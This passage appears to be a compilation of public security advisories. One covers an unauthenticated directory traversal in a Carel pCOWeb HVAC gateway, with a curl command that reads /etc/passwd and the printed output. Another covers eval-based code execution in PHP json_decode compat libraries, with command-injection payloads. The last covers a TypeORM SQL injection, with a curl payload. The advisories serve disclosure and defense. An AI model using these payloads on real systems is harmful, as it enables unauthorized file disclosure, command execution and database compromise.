"-pass db66023ab2abcb9957fb01ed50cdfa6a", but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH).

<pre><code> Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal Vendor: CAREL INDUSTRIES S.p.A. Product web page: https://www.carel.com Affected version: Firmware: A2.1.0 - B2.1.0 Application Software: 2.15.4A Software version: v16 13020200 Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R applications and systems. It consists of programmable controllers, user interfaces, gateways and communication interfaces, remote management systems to offer the OEMs working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced to the more widely-used Building Management Systems, and can also be integrated into proprietary supervisory systems. Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. ======================================================================================= /usr/local/www/usr-cgi/logdownload.cgi: --------------------------------------- 01: #!/bin/bash 02: 03: if [ "$REQUEST_METHOD" = "POST" ]; then 04: read QUERY_STRING 05: REQUEST_METHOD=GET 06: export REQUEST_METHOD 07: export QUERY_STRING 08: fi 09: 10: LOGDIR="/usr/local/root/flash/http/log" 11: 12: tmp=${QUERY_STRING%"$"*} 13: cmd=${tmp%"="*} 14: if [ "$cmd" = "dir" ]; then 15: PATHCURRENT=$LOGDIR/${tmp#*"="} 16: else 17: PATHCURRENT=$LOGDIR 18: fi 19: 20: tmp=${QUERY_STRING#*"$"} 21: cmd=${tmp%"="*} 22: if [ "$cmd" = "file" ]; then 23: FILECURRENT=${tmp#*"="} 24: else 25: if [ -f $PATHCURRENT/lastlog.csv.gz ]; then 26: FILECURRENT=lastlog.csv.gz 27: else 28: FILECURRENT=lastlog.csv 29: fi 30: fi 31: 32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then 33: echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n" 34: cat carel.inc.html 35: echo "<center>File not available!</center>" 36: cat carel.bottom.html 37: exit 38: fi 39: 40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then 41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then 42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then 43: echo -ne "Content-Type: text/csv\r\n" 44: else 45: echo -ne "Content-Type: image/svg+xml\r\n" 46: fi 47: else 48: echo -ne "Content-Type: image/bmp\r\n" 49: fi 50: else 51: echo -ne "Content-Type: application/x-gzip\r\n" 52: fi 53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n" 54: 55: cat $PATHCURRENT/$FILECURRENT ======================================================================================= Tested on: GNU/Linux 4.11.12 (armv7l) thttpd/2.29 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2022-5709 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php 10.05.2022 -- $ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/false bin:x:2:2:bin:/bin:/bin/false sys:x:3:3:sys:/dev:/bin/false sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/false www-data:x:33:33:www-data:/var/www:/bin/false operator:x:37:37:Operator:/var:/bin/false nobody:x:65534:65534:nobody:/home:/bin/false guest:x:502:101::/home/guest:/bin/bash carel:x:500:500:Carel:/home/carel:/bin/bash http:x:48:48:HTTP users:/usr/local/www/http:/bin/false httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash sshd:x:1000:1001:SSH drop priv user:/:/bin/false </code></pre>

<pre><code>JAHx221 - RCE in copy/pasted PHP compat libraries, json_decode function =============================================================================== Several PHP compatability libraries contain a potential remote code execution flaw in their `json_decode()` function based on having copy pasted existing vulnerable code. Identifiers --------------------------------------- * JAHx221 - http://www.justanotherhacker.com/advisories/JAHx221.txt Affected components --------------------------------------- * WassUp Realtime analytics wordpress plugin/compat library - https://wordpress.org/plugins/wassup/ * AjaXplorer Core - https://pydio.com/en/community/releases/pydio-core/ajaxplorer-core-503-released * FlexoCMS - https://github.com/flexocms/flexo1.source * Various code - https://github.com/search?p=6&q=if+function_exists+json_decode+eval+%24out&type=Code * compat_functions.php - http://techfromhel.com Description --------------------------------------- This appears to date back to a compatability library published in 2010 and appears in several code bases, with no, or a few variations. The vulnerable code generally share the following characteristic: * The json_decode function is declared if it does not exist * some str_replace occurs to transform the json representation to PHP * eval($out) Since `eval()` is turing complete, it is generally considered unsafe to use it on user controlled or user influenced data, however it is unclear if practical exploitation would be possible due to the likely presence of an existing json_decode function. ```php /** * compat_functions.php * Description: Emulate some functions from PHP 5.2+ and Wordpress 2.6+ for * backwards compatibility with PHP 4.3+ and Wordpress 2.2+, respectively * @author: Helene D. <http://techfromhel.com> * @version: 0.3 - 2010-09-13 * @since Wassup 1.8 */ /** * Convert simple JSON data into a PHP object (default) or associative * array. Emulates 'json_decode' function from PHP 5.2+ * @author: Helene Duncker <http://techfromhel.com> * @param string,boolean * @return (array or object) */ if (!function_exists('json_decode')) { function json_decode($json,$to_array=false) { $x=false; if (!empty($json) && strpos($json,'{"')!==false) { $out = '$x='.str_replace(array('{','":','}'),array('array(','"=>',')'),$json); eval($out.';'); if (!$to_array) $x = (object) $x; } return $x; } //end function json_decode } ``` Proof of Concept --------------------------------------- The eval can be exploited a number of ways, both via full or partial control of the json string: ```php /* Payload `id`;//{" */ json_decode('`id`;//{"'); ``` or partially controlled content: ```php /* Payload {"key":"value");echo `id`;//"} */ json_decode('{"key":"value");echo `id`;//"}'); ``` Credit --------------------------------------- Eldar "Wireghoul" Marcussen Solution --------------------------------------- Ensure json_decode is present as a native function for your PHP installation. </code></pre>

<pre><code>typeorm CVE-2022-33171 findOne(id), findOneOrFail(id) The findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection. The issue was already fixed from version 0.3.0 onward when we encountered it. Maintainer does not consider this a vulnerability and stated the root cause is bad input validation. On one hand input validation is definitely insufficient. On the other hand this is a function argument that is meant to be fed user input and as such one would think it safe to put user input there. Vulnerable app: ``` import { Entity, PrimaryGeneratedColumn, Connection, ConnectionOptions, Repository, createConnection } from 'typeorm'; import * as express from 'express'; import {Application, Request, Response} from 'express'; let connection: Connection; async function myListener(request: Request, response: Response) { if(!connection) connection = await createConnection(connectionOpts); const userRepo: Repository<User> = connection.getRepository(User); const ids: string[] = request.body; for(const id of ids) { try { await userRepo.findOne(id); } catch(err: any) { console.log(err); } } response.json({}); } @Entity({ name: 'user' }) class User { @PrimaryGeneratedColumn('uuid') id: string; } const connectionOpts: ConnectionOptions = { type: 'postgres', name: 'myconnection', host: 'db-host', port: 5432, username: 'username', password: 'password', database: 'mydb', schema: 'public', entities: [User] } const app: Application = express(); app.use(express.json()); app.post( "/findByIds", myListener); app.listen(4444, () => console.log('App started')); ``` Exploit: curl -v [http://host/findByIds](http://containerip:4444/findByIds)' -H 'Content-Type: application/json' --data '[{"where":"1=1; SELECT pg_sleep(10) --"}]' </code></pre>
